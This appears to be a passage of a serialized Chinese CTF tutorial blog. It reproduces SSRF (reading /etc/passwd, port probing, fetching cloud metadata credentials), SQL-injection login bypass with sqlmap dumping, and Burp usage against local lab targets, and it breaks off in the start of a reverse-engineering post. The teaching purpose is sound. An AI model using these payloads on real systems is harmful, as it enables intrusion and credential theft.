3：SSRF（完整复现）",[15,1238,1239,1241],{},[138,1240,519],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,1243,1244,324,1246,1249,1250,1253,1254,1257,1258,1261,1262,1265],{},[138,1245,528],{},[26,1247,1248],{},"file_get_contents($url)"," 会按 ",[26,1251,1252],{},"$url"," 的协议去读内容。协议决定能力：",[26,1255,1256],{},"file://"," 读本地文件，",[26,1259,1260],{},"http://"," 访问内网，",[26,1263,1264],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[271,1267,1269],{"id":1268},"_51-平台与代码","5.1 平台与代码",[15,1271,1272,1273,324],{},"具有\"URL 处理\"功能的应用。示例 ",[26,1274,1275],{},"ssrf.php",[19,1277,1279],{"className":327,"code":1278,"language":209,"meta":24,"style":24},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[26,1280,1281,1285,1290,1295,1300,1305],{"__ignoreMap":24},[29,1282,1283],{"class":31,"line":32},[29,1284,335],{},[29,1286,1287],{"class":31,"line":166},[29,1288,1289],{},"echo file_get_contents($_GET['url']);\n",[29,1291,1292],{"class":31,"line":184},[29,1293,1294],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[29,1296,1297],{"class":31,"line":196},[29,1298,1299],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[29,1301,1302],{"class":31,"line":206},[29,1303,1304],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[29,1306,1307],{"class":31,"line":221},[29,1308,461],{},[271,1310,1312],{"id":1311},"_52-读本地文件","5.2 读本地文件",[19,1314,1316],{"className":21,"code":1315,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[26,1317,1318,1329,1334,1339],{"__ignoreMap":24},[29,1319,1320,1322,1324,1327],{"class":31,"line":32},[29,1321,36],{"class":35},[29,1323,44],{"class":43},[29,1325,1326],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[29,1328,51],{"class":43},[29,1330,1331],{"class":31,"line":166},[29,1332,1333],{"class":162},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[29,1335,1336],{"class":31,"line":184},[29,1337,1338],{"class":162},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[29,1340,1341],{"class":31,"line":196},[29,1342,1343],{"class":162},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,1345,504],{},[19,1347,1350],{"className":1348,"code":1349,"language":63,"meta":24},[61],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[26,1351,1349],{"__ignoreMap":24},[271,1353,1355],{"id":1354},"_53-探测内网端口","5.3 探测内网端口",[19,1357,1359],{"className":21,"code":1358,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[26,1360,1361,1372,1377,1382],{"__ignoreMap":24},[29,1362,1363,1365,1367,1370],{"class":31,"line":32},[29,1364,36],{"class":35},[29,1366,44],{"class":43},[29,1368,1369],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[29,1371,51],{"class":43},[29,1373,1374],{"class":31,"line":166},[29,1375,1376],{"class":162},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[29,1378,1379],{"class":31,"line":184},[29,1380,1381],{"class":162},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[29,1383,1384],{"class":31,"line":196},[29,1385,1386],{"class":162},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,1388,1389],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[271,1391,1393],{"id":1392},"_54-访问云元数据","5.4 访问云元数据",[19,1395,1397],{"className":21,"code":1396,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[26,1398,1399,1410,1415,1420],{"__ignoreMap":24},[29,1400,1401,1403,1405,1408],{"class":31,"line":32},[29,1402,36],{"class":35},[29,1404,44],{"class":43},[29,1406,1407],{"class":47},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[29,1409,51],{"class":43},[29,1411,1412],{"class":31,"line":166},[29,1413,1414],{"class":162},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[29,1416,1417],{"class":31,"line":184},[29,1418,1419],{"class":162},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[29,1421,1422],{"class":31,"line":196},[29,1423,1424],{"class":162},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,1426,1427],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[271,1429,1431],{"id":1430},"_55-防御","5.5 防御",[19,1433,1435],{"className":327,"code":1434,"language":209,"meta":24,"style":24},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[26,1436,1437,1442,1447,1452],{"__ignoreMap":24},[29,1438,1439],{"class":31,"line":32},[29,1440,1441],{},"$allowed = ['https', 'http'];\n",[29,1443,1444],{"class":31,"line":166},[29,1445,1446],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[29,1448,1449],{"class":31,"line":184},[29,1450,1451],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[29,1453,1454],{"class":31,"line":196},[29,1455,1456],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,1458,1460],{"id":1459},"六必学工具-1curl","六、必学工具 1：curl",[15,1462,1463],{},"三个核心功能，逐个演示。",[15,1465,1466],{},"功能 1：带参数 GET。",[19,1468,1469],{"className":21,"code":488,"language":23,"meta":24,"style":24},[26,1470,1471],{"__ignoreMap":24},[29,1472,1473,1475,1477,1479],{"class":31,"line":32},[29,1474,36],{"class":35},[29,1476,44],{"class":43},[29,1478,499],{"class":47},[29,1480,51],{"class":43},[15,1482,998,1483,789],{},[26,1484,623],{},[15,1486,1487,1488,1490],{},"功能 2：查看完整请求与响应（",[26,1489,56],{},"）。",[19,1492,1494],{"className":21,"code":1493,"language":23,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[26,1495,1496,1508,1513,1518],{"__ignoreMap":24},[29,1497,1498,1500,1502,1504,1506],{"class":31,"line":32},[29,1499,36],{"class":35},[29,1501,40],{"class":39},[29,1503,44],{"class":43},[29,1505,499],{"class":47},[29,1507,51],{"class":43},[29,1509,1510],{"class":31,"line":166},[29,1511,1512],{"class":162},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[29,1514,1515],{"class":31,"line":184},[29,1516,1517],{"class":162},"# \u003C 开头是响应行与响应头，最后是正文。\n",[29,1519,1520],{"class":31,"line":196},[29,1521,1522],{"class":162},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,1524,1525,1526,1528,1529,1531],{},"输出中 ",[26,1527,1185],{}," 开头的是请求，",[26,1530,1041],{}," 开头的是响应，最下面是正文。",[15,1533,1534,1535,1490],{},"功能 3：POST 数据（",[26,1536,1537],{},"-d",[19,1539,1541],{"className":21,"code":1540,"language":23,"meta":24,"style":24},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[26,1542,1543],{"__ignoreMap":24},[29,1544,1545,1547,1550,1553,1555,1558,1560,1562,1564,1567],{"class":31,"line":32},[29,1546,36],{"class":35},[29,1548,1549],{"class":39}," -X",[29,1551,1552],{"class":47}," POST",[29,1554,44],{"class":43},[29,1556,1557],{"class":47},"http://127.0.0.1:8000/login.php",[29,1559,1197],{"class":43},[29,1561,254],{"class":39},[29,1563,44],{"class":43},[29,1565,1566],{"class":47},"username=admin&password=123",[29,1568,51],{"class":43},[15,1570,1571],{},"用于登录、上传等需要 POST 的场景。",[10,1573,1575],{"id":1574},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,1577,1578],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[70,1580,1581,1594],{},[73,1582,1583],{},[76,1584,1585,1588,1591],{},[79,1586,1587],{},"模块",[79,1589,1590],{},"用途",[79,1592,1593],{},"操作步骤",[86,1595,1596,1611,1622],{},[76,1597,1598,1601,1604],{},[91,1599,1600],{},"Proxy",[91,1602,1603],{},"拦截请求",[91,1605,1606,1607,1610],{},"浏览器设置代理 ",[26,1608,1609],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[76,1612,1613,1616,1619],{},[91,1614,1615],{},"Repeater",[91,1617,1618],{},"手工重放",[91,1620,1621],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[76,1623,1624,1627,1630],{},[91,1625,1626],{},"Intruder",[91,1628,1629],{},"自动化遍历",[91,1631,1632],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,1634,1635],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,1637,1639],{"id":1638},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,1641,1642],{},"SQL 注入自动化工具。三个核心命令：",[15,1644,1645],{},"命令 1：检测。",[19,1647,1649],{"className":21,"code":1648,"language":23,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[26,1650,1651],{"__ignoreMap":24},[29,1652,1653,1656,1659,1661,1663,1665],{"class":31,"line":32},[29,1654,1655],{"class":35},"sqlmap",[29,1657,1658],{"class":39}," -u",[29,1660,44],{"class":43},[29,1662,499],{"class":47},[29,1664,1197],{"class":43},[29,1666,1667],{"class":39}," --batch\n",[15,1669,1670],{},"预期输出（节选）：",[19,1672,1675],{"className":1673,"code":1674,"language":63,"meta":24},[61],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[26,1676,1674],{"__ignoreMap":24},[15,1678,1679],{},"命令 2：列数据库。",[19,1681,1683],{"className":21,"code":1682,"language":23,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[26,1684,1685],{"__ignoreMap":24},[29,1686,1687,1689,1691,1693,1695,1697],{"class":31,"line":32},[29,1688,1655],{"class":35},[29,1690,1658],{"class":39},[29,1692,44],{"class":43},[29,1694,499],{"class":47},[29,1696,1197],{"class":43},[29,1698,1699],{"class":39}," --dbs\n",[15,1701,1702,1703,789],{},"预期输出：数据库列表，包含 ",[26,1704,788],{},[15,1706,1707],{},"命令 3：导出数据。",[19,1709,1711],{"className":21,"code":1710,"language":23,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[26,1712,1713],{"__ignoreMap":24},[29,1714,1715,1717,1719,1721,1723,1725,1728,1731,1734,1737],{"class":31,"line":32},[29,1716,1655],{"class":35},[29,1718,1658],{"class":39},[29,1720,44],{"class":43},[29,1722,499],{"class":47},[29,1724,1197],{"class":43},[29,1726,1727],{"class":39}," -D",[29,1729,1730],{"class":47}," ctf",[29,1732,1733],{"class":39}," -T",[29,1735,1736],{"class":47}," flag",[29,1738,1739],{"class":39}," --dump\n",[15,1741,504,1742,1745,1746,789],{},[26,1743,1744],{},"flag"," 表内容，即 ",[26,1747,872],{},[10,1749,1751],{"id":1750},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,1753,1754,1755,1758],{},"题目：登录页 ",[26,1756,1757],{},"login.php","，源码：",[19,1760,1762],{"className":327,"code":1761,"language":209,"meta":24,"style":24},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[26,1763,1764,1769,1774],{"__ignoreMap":24},[29,1765,1766],{"class":31,"line":32},[29,1767,1768],{},"$user = $_POST['user'];\n",[29,1770,1771],{"class":31,"line":166},[29,1772,1773],{},"$pass = $_POST['pass'];\n",[29,1775,1776],{"class":31,"line":184},[29,1777,1778],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[271,1780,1782],{"id":1781},"第一步正常登录失败","第一步：正常登录失败",[15,1784,1785,1787],{},[138,1786,519],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[19,1789,1791],{"className":21,"code":1790,"language":23,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[26,1792,1793],{"__ignoreMap":24},[29,1794,1795,1797,1799,1801,1803,1806,1808,1811,1813,1816],{"class":31,"line":32},[29,1796,36],{"class":35},[29,1798,1549],{"class":39},[29,1800,1552],{"class":47},[29,1802,44],{"class":43},[29,1804,1805],{"class":47},"http://target/login.php",[29,1807,1197],{"class":43},[29,1809,1810],{"class":39}," --data",[29,1812,44],{"class":43},[29,1814,1815],{"class":47},"user=admin&pass=wrong",[29,1817,51],{"class":43},[15,1819,998,1820,789],{},[26,1821,1822],{},"Login failed",[271,1824,1826],{"id":1825},"第二步构造绕过","第二步：构造绕过",[15,1828,1829,1831,1832,1835],{},[138,1830,528],{},"：观察源码 ",[26,1833,1834],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,1837,1838,1840,1841,1843,1844,1847,1848,1851,1852,1854,1855,1490],{},[138,1839,542],{},"：发送 payload 后看是否从 ",[26,1842,1822],{}," 变成成功页面；若失败，尝试 ",[26,1845,1846],{},"admin'#","、",[26,1849,1850],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[26,1853,893],{}," 与 ",[26,1856,1857],{},"#",[15,1859,485],{},[19,1861,1863],{"className":21,"code":1862,"language":23,"meta":24,"style":24},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[26,1864,1865],{"__ignoreMap":24},[29,1866,1867,1869,1871,1873,1875,1877,1879,1881,1883,1886],{"class":31,"line":32},[29,1868,36],{"class":35},[29,1870,1549],{"class":39},[29,1872,1552],{"class":47},[29,1874,44],{"class":43},[29,1876,1805],{"class":47},[29,1878,1197],{"class":43},[29,1880,1810],{"class":39},[29,1882,44],{"class":43},[29,1884,1885],{"class":47},"user=admin'--+&pass=wrong",[29,1887,51],{"class":43},[15,1889,1890],{},"实际执行的 SQL：",[19,1892,1894],{"className":283,"code":1893,"language":285,"meta":24,"style":24},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[26,1895,1896],{"__ignoreMap":24},[29,1897,1898],{"class":31,"line":32},[29,1899,1893],{},[15,1901,1902,1904,1905,1908],{},[26,1903,893],{}," 注释掉密码部分。预期输出：",[26,1906,1907],{},"Login success"," 和 flag。",[15,1910,1911,1914,1915,1918,1919,1922],{},[138,1912,1913],{},"为什么能成功","：数据库中确实存在 ",[26,1916,1917],{},"admin"," 用户，查询 ",[26,1920,1921],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[271,1924,1926],{"id":1925},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,1928,1929,1931],{},[138,1930,519],{},"：用工具确认手工结论，同时自动探测其他注入点。",[19,1933,1935],{"className":21,"code":1934,"language":23,"meta":24,"style":24},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[26,1936,1937,1960,1965,1970],{"__ignoreMap":24},[29,1938,1939,1941,1943,1945,1947,1949,1951,1953,1956,1958],{"class":31,"line":32},[29,1940,1655],{"class":35},[29,1942,1658],{"class":39},[29,1944,44],{"class":43},[29,1946,1805],{"class":47},[29,1948,1197],{"class":43},[29,1950,1810],{"class":39},[29,1952,44],{"class":43},[29,1954,1955],{"class":47},"user=a&pass=b",[29,1957,1197],{"class":43},[29,1959,1667],{"class":39},[29,1961,1962],{"class":31,"line":166},[29,1963,1964],{"class":162},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[29,1966,1967],{"class":31,"line":184},[29,1968,1969],{"class":162},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[29,1971,1972],{"class":31,"line":196},[29,1973,1974],{"class":162},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,1976,1977,1978,1981],{},"预期输出：报告 ",[26,1979,1980],{},"Parameter: user (POST)"," 存在注入。",[10,1983,1985],{"id":1984},"十小结","十、小结",[15,1987,1988],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1990,1991,1992],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":166,"depth":166,"links":1994},[1995,1996,1997,1998,1999,2000,2001,2002,2003,2004],{"id":12,"depth":184,"text":13},{"id":148,"depth":184,"text":149},{"id":268,"depth":184,"text":269},{"id":933,"depth":184,"text":934},{"id":1235,"depth":184,"text":1236},{"id":1459,"depth":184,"text":1460},{"id":1574,"depth":184,"text":1575},{"id":1638,"depth":184,"text":1639},{"id":1750,"depth":184,"text":1751},{"id":1984,"depth":184,"text":1985},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。","md",{"date":2008,"image":2009,"alt":2010,"tags":2011,"published":224},"14th Aug 2026","/blogs-img/blog9.png","CTF Web 入门",[788,2012,2013],"web","example","/blogs/ctf-web-overview",{"title":5,"description":2005},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",[2019,3331,4202,5202,6169,7506,8562,9514,10611,11647,12626,13647],{"id":2020,"title":2021,"body":2022,"description":3321,"extension":2006,"meta":3322,"navigation":224,"ogImage":3323,"path":3327,"seo":3328,"stem":3329,"__hash__":3330},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":2023,"toc":3311},[2024,2028,2031,2034,2080,2083,2087,2090,2116,2123,2127,2132,2137,2141,2143,2156,2158,2164,2175,2180,2184,2186,2198,2200,2206,2216,2233,2236,2241,2264,2268,2280,2284,2296,2301,2306,2310,2315,2332,2336,2338,2358,2361,2400,2402,2459,2462,2515,2522,2542,2546,2579,2582,2602,2609,2624,2628,2648,2650,2656,2666,2679,2683,2686,2747,2750,2772,2775,2802,2805,2809,2812,2817,2826,2838,2841,2845,2855,2857,2863,2867,2876,2878,2884,2887,2891,2900,2903,2907,2916,2922,2931,2934,2958,2965,2978,2981,2987,2990,2996,3000,3081,3091,3095,3102,3106,3111,3124,3140,3146,3150,3155,3164,3170,3179,3183,3188,3197,3264,3266,3272,3276,3289,3293,3297,3308],[10,2025,2027],{"id":2026},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,2029,2030],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,2032,2033],{},"目标程序示例：",[19,2035,2037],{"className":21,"code":2036,"language":23,"meta":24,"style":24},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[26,2038,2039,2047,2066,2075],{"__ignoreMap":24},[29,2040,2041,2044],{"class":31,"line":32},[29,2042,2043],{"class":35},"$",[29,2045,2046],{"class":47}," ./checkflag\n",[29,2048,2049,2052,2055,2058,2061,2064],{"class":31,"line":166},[29,2050,2051],{"class":35},"Usage:",[29,2053,2054],{"class":47}," ./checkflag",[29,2056,2057],{"class":1044}," \u003C",[29,2059,2060],{"class":47},"fla",[29,2062,2063],{"class":1035},"g",[29,2065,1048],{"class":1044},[29,2067,2068,2070,2072],{"class":31,"line":184},[29,2069,2043],{"class":35},[29,2071,2054],{"class":47},[29,2073,2074],{"class":47}," test\n",[29,2076,2077],{"class":31,"line":196},[29,2078,2079],{"class":35},"Wrong!\n",[15,2081,2082],{},"解题目标：通过分析二进制，找出正确输入。",[10,2084,2086],{"id":2085},"二环境准备","二、环境准备",[15,2088,2089],{},"在 Linux（Kali/Ubuntu）上：",[19,2091,2093],{"className":21,"code":2092,"language":23,"meta":24,"style":24},"apt install file binutils gdb ltrace strace\n",[26,2094,2095],{"__ignoreMap":24},[29,2096,2097,2099,2101,2104,2107,2110,2113],{"class":31,"line":32},[29,2098,169],{"class":35},[29,2100,172],{"class":47},[29,2102,2103],{"class":47}," file",[29,2105,2106],{"class":47}," binutils",[29,2108,2109],{"class":47}," gdb",[29,2111,2112],{"class":47}," ltrace",[29,2114,2115],{"class":47}," strace\n",[15,2117,2118,2119,2122],{},"本文以编译后的 ",[26,2120,2121],{},"checkflag"," 为例，逐步演示。",[10,2124,2126],{"id":2125},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,2128,2129,2131],{},[138,2130,519],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,2133,2134,2136],{},[138,2135,528],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[271,2138,2140],{"id":2139},"_31-file看文件类型","3.1 file：看文件类型",[15,2142,485],{},[19,2144,2146],{"className":21,"code":2145,"language":23,"meta":24,"style":24},"file checkflag\n",[26,2147,2148],{"__ignoreMap":24},[29,2149,2150,2153],{"class":31,"line":32},[29,2151,2152],{"class":35},"file",[29,2154,2155],{"class":47}," checkflag\n",[15,2157,504],{},[19,2159,2162],{"className":2160,"code":2161,"language":63,"meta":24},[61],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[26,2163,2161],{"__ignoreMap":24},[15,2165,2166,2167,2170,2171,2174],{},"重点看最后：",[26,2168,2169],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[26,2172,2173],{},"stripped","，函数名被删，难度更高。",[15,2176,2177,2179],{},[138,2178,519],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[271,2181,2183],{"id":2182},"_32-strings提取字符串","3.2 strings：提取字符串",[15,2185,485],{},[19,2187,2189],{"className":21,"code":2188,"language":23,"meta":24,"style":24},"strings checkflag\n",[26,2190,2191],{"__ignoreMap":24},[29,2192,2193,2196],{"class":31,"line":32},[29,2194,2195],{"class":35},"strings",[29,2197,2155],{"class":47},[15,2199,504],{},[19,2201,2204],{"className":2202,"code":2203,"language":63,"meta":24},[61],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[26,2205,2203],{"__ignoreMap":24},[15,2207,2208,2209,2211,2212,2215],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[26,2210,2195],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[26,2213,2214],{},"-n"," 指定：",[19,2217,2219],{"className":21,"code":2218,"language":23,"meta":24,"style":24},"strings -n 3 checkflag\n",[26,2220,2221],{"__ignoreMap":24},[29,2222,2223,2225,2228,2231],{"class":31,"line":32},[29,2224,2195],{"class":35},[29,2226,2227],{"class":39}," -n",[29,2229,2230],{"class":39}," 3",[29,2232,2155],{"class":47},[15,2234,2235],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,2237,2238,2240],{},[138,2239,519],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,2242,2243,2245,2246,1847,2249,1847,2252,2255,2256,2259,2260,2263],{},[138,2244,528],{},"：输出里的 ",[26,2247,2248],{},"Usage: ./checkflag \u003Cflag>",[26,2250,2251],{},"Correct!",[26,2253,2254],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[26,2257,2258],{},"k3y","），先用 ",[26,2261,2262],{},"-n 3"," 确认——可能正是加密密钥。",[271,2265,2267],{"id":2266},"_33-运行程序观察行为","3.3 运行程序观察行为",[19,2269,2271],{"className":21,"code":2270,"language":23,"meta":24,"style":24},"./checkflag test\n",[26,2272,2273],{"__ignoreMap":24},[29,2274,2275,2278],{"class":31,"line":32},[29,2276,2277],{"class":35},"./checkflag",[29,2279,2074],{"class":47},[15,2281,998,2282,789],{},[26,2283,2254],{},[19,2285,2287],{"className":21,"code":2286,"language":23,"meta":24,"style":24},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,2288,2289],{"__ignoreMap":24},[29,2290,2291,2293],{"class":31,"line":32},[29,2292,2277],{"class":35},[29,2294,2295],{"class":47}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,2297,998,2298,2300],{},[26,2299,2254],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,2302,2303,2305],{},[138,2304,519],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,2307,2309],{"id":2308},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,2311,2312,2314],{},[138,2313,519],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,2316,2317,2319,2320,2323,2324,2327,2328,2331],{},[138,2318,528],{},"：程序要么比较字符串（",[26,2321,2322],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[26,2325,2326],{},"call","（函数调用）和 ",[26,2329,2330],{},"je/jne","（条件跳转）就能定位判断点。",[271,2333,2335],{"id":2334},"_41-objdump-看-main","4.1 objdump 看 main",[15,2337,485],{},[19,2339,2341],{"className":21,"code":2340,"language":23,"meta":24,"style":24},"objdump -d -M intel checkflag\n",[26,2342,2343],{"__ignoreMap":24},[29,2344,2345,2348,2350,2353,2356],{"class":31,"line":32},[29,2346,2347],{"class":35},"objdump",[29,2349,254],{"class":39},[29,2351,2352],{"class":39}," -M",[29,2354,2355],{"class":47}," intel",[29,2357,2155],{"class":47},[15,2359,2360],{},"输出很长，用 grep 只看 main：",[19,2362,2364],{"className":21,"code":2363,"language":23,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[26,2365,2366],{"__ignoreMap":24},[29,2367,2368,2370,2372,2374,2376,2379,2382,2385,2388,2391,2394,2397],{"class":31,"line":32},[29,2369,2347],{"class":35},[29,2371,254],{"class":39},[29,2373,2352],{"class":39},[29,2375,2355],{"class":47},[29,2377,2378],{"class":47}," checkflag",[29,2380,2381],{"class":1044}," |",[29,2383,2384],{"class":35}," grep",[29,2386,2387],{"class":39}," -A",[29,2389,2390],{"class":39}," 40",[29,2392,2393],{"class":43}," '",[29,2395,2396],{"class":47},"\u003Cmain>",[29,2398,2399],{"class":43},"'\n",[15,2401,1670],{},[19,2403,2407],{"className":2404,"code":2405,"language":2406,"meta":24,"style":24},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    